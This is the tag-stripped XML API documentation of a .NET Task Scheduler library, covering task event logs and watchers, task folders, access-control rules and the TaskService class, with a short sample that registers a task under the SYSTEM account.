modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . 